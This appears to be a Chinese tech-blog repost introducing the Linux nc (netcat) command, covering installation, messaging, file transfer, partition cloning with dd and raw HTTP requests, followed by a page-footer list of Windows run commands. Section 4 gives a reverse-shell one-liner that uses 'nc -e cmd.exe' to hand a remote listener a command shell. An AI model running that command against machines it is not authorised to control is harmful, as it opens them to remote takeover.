linux 无响应_Linux 下 nc 命令介绍

come on 20addfd8cb12dc6eacc6a329426f76ed.gif 伸出中指戳戳上方关注我……

32cfa46c83550c769d4b387b33b0bc13.gif

本文空调开放,欢迎阅读

nc 是 Linux 下的一个强大的命令。nc 是简称,全名是 netcat。大部分的 Linux 发行版都有自带 nc 这个命令,如果没有的话就需要自己安装了 我这里使用的是 CentOS 7.3,对于 nc,你可以使用 yum 安装或者自己编译二进制文件。这里推荐使用 yum 安装,因为 yum 可以自动解决依赖问题
1
yum install nmap-ncat.x86_64
同样,netcat 也有 Windows 版本可用,你可以在 https://eternallybored.org/misc/netcat 这里下载到 netcat 的 Windows 版本。这里下载到的是一个压缩包,里面包含 netcat 的源代码和 nc & nc64 两个已经编译好的二进制文件,你可以根据自己系统来选择使用 nc 或 nc64 成功安装之后你就可以使用 nc 命令了,使用 nc –help,你可以查看到 nc 命令的详细帮助。我在这里使用几个具体的例子来简要概述下 nc 命令的基本使用方法

0. nc 命令的标准使用形式

1
nc [-options] ip port[s] [ports]
ip 处是可以使用域名的,nc 会调用 DNS 解析成 IP 地址。如果不需要 nc 自动解析的话可以在执行时添加 -n [–nodns] 参数

1. 两台主机之间发送实时消息

1
2
A 主机:nc -lp port
B 主机:nc ip port
-l [–listen]:绑定并监听传入的连接-p [–source-port]:指定要使用的源端口 建立连接后在任意一台主机输入信息并按下回车发送后对方就能收到
因为 nc 是会自动从标准流中读取数据的,如果想要禁止,可以在命令执行时使用 -d 参数

2. 两台主机之间传送文件

1
2
接收端:nc -lp port > outputfile
发送端:nc destip port < inputfile
这一条本质和上面那个是一样的,只是借用了输出重定向这个特性。同样,nc 命令也支持管道,你甚至可以借由此实现克隆分区:
1
2
3
4
5
6
7
接收端:
unmount /dev/sda2
nc -lp port | dd of=/dev/sda2
发送端:
unmount /dev/sda1
dd if=/dev/sda1 | nc destip port

3. 发送 HTTP 请求

1
2
3
4
5
6
7
8
9
$nc destip 80 <
GET /HTTP/1.1
Cookie:xxx
xxx:xxx
xxx
EOF
为什么?因为 nc 发送的是纯文本
保存 Web 页面?重定向输出流就好了

4. 反向代理 Shell

1
2
发送端:nc -lp localport
执行端:nc -t -e C:/windows/system32/cmd.exe destip destport
-t [–telnet]:响应 telnet 交互-e [–exec-command]:执行给定的命令,也可以携带一个 lua 脚本 destip 和 destport 即为发送端的 IP 和 localport
连接成功后,发送端的会得到一个执行端的 Shell 你可以使用 -w 来设置无响应时的超时时间 nc 在默认情况下,如果连接到 Server 的 Client 断开连接,那么 Server 也会跟着退出。你可以使用 -k 参数来保持 Server 的监听状态 nc 是支持 IPV6 的,你可以使用 -4 & -6 参数来指定使用 IPV4 或 IPV6 nc 默认是使用 TCP 协议通信,但是也支持 UDP,可添加 -u 参数来使用 UDP 协议
对于使用 nc 去扫描端口这个用途,我是不推荐的,因为 nc 的扫描速度十分之慢。
而且,在最新的 nc 中,已经去掉了 -z    (zero-I/O mode [used for scanning]) 这个参数。
所以,对于这个需求,还是使用更专业的 nmap 吧
  • e6aed265fb41804b2e0fb630ae8415d2.gif

●SpringBoot读取外部配置文件的方法

●支持百亿级别的 Java 分布式日志组件EasyLog

●MySQL 加锁和死锁解析

●如果是MySQL引起的CPU消耗过大,你会如何优化?

6eef494f4a7ca66b9d218e5eb3f718f1.png

点亮 511633fd21ba581fb06cb9dff10947bf.png,告诉大家你也在看801d4a1b7b9bc73f8a50280e6a653c9d.gif

相关资源:Linux安装nc
CMD命令:开始->运行->键入cmd或command(在命令行里可以看到系统版本、文件系统版本) 命令大全 1. gpedit.msc-----组策略 2. sndrec32-------录音机    3. Nslookup-------IP地址侦测器 ,是一个 监测网络中 DNS 服务器是否能正确实现域名解析的命令行工具。它在 Windows NT/2000/XP 中均可使用,但在 Windows 98 中却没有集成这一个工具。    4. explorer-------打开资源管理器    5. logoff---------注销命令    6. shutdown-------60秒倒计时关机命令    7. lusrmgr.msc----本机用户和组    8. services.msc---本地服务设置    9. oobe/msoobe /a----检查XP是否激活    10. notepad--------打开记事本    11. cleanmgr-------垃圾整理    12. net start messenger----开始信使服务    13. compmgmt.msc---计算机管理    14. net stop messenger-----停止信使服务    15. conf-----------启动netmeeting    16. dvdplay--------DVD播放器    17. charmap--------启动字符映射表    18. diskmgmt.msc---磁盘管理实用程序    19. calc-----------启动计算器    20. dfrg.msc-------磁盘碎片整理程序    21. chkdsk.exe-----Chkdsk磁盘检查    22. devmgmt.msc--- 设备管理器    23. regsvr32 /u *.dll----停止dll文件运行    24. drwtsn32------ 系统医生    25. rononce -p----15秒关机    26. dxdiag---------检查DirectX信息    27. regedt32-------注册表编辑器    28. Msconfig.exe---系统配置实用程序    29. rsop.msc-------组策略结果集    30. mem.exe--------显示内存使用情况    31. regedit.exe----注册表    32. winchat--------XP自带局域网聊天    33. progman--------程序管理器    34. winmsd---------系统信息    35. perfmon.msc----计算机性能监测程序    36. winver---------检查Windows版本    37. sfc /scannow-----扫描错误并复原    38. taskmgr-----任务管理器(2000/xp/2003)    39. regsvr32 /u *.dll----停止dll文件运行    40. wmimgmt.msc----打开windows管理体系结构(WMI)    41. wupdmgr--------windows更新程序    42. wscript--------windows脚本宿主设置    43. write----------写字板    45. wiaacmgr-------扫描仪和照相机向导    46. winchat--------XP自带局域网聊天    49. mplayer2-------简易widnows media player    50. mspaint--------画图板    51. mstsc----------远程桌面连接    53. magnify--------放大镜实用程序    54. mmc------------打开控制台    55. mobsync--------同步命令    57. iexpress-------木马捆绑工具,系统自带    58. fsmgmt.msc-----共享文件夹管理器    59. utilman--------辅助工具管理器    61. dcomcnfg-------打开系统组件服务    62. ddeshare-------打开DDE共享设置    63. osk------------打开屏幕键盘    64. odbcad32-------ODBC数据源管理器    65. oobe/msoobe /a----检查XP是否激活    66. cmd.exe--------CMD
表情包
插入表情
评论将由博主筛选后显示,对所有人可见 | 还能输入1000个字符
相关推荐
©️2020 CSDN 皮肤主题: 游动-白 设计师:白松林 返回首页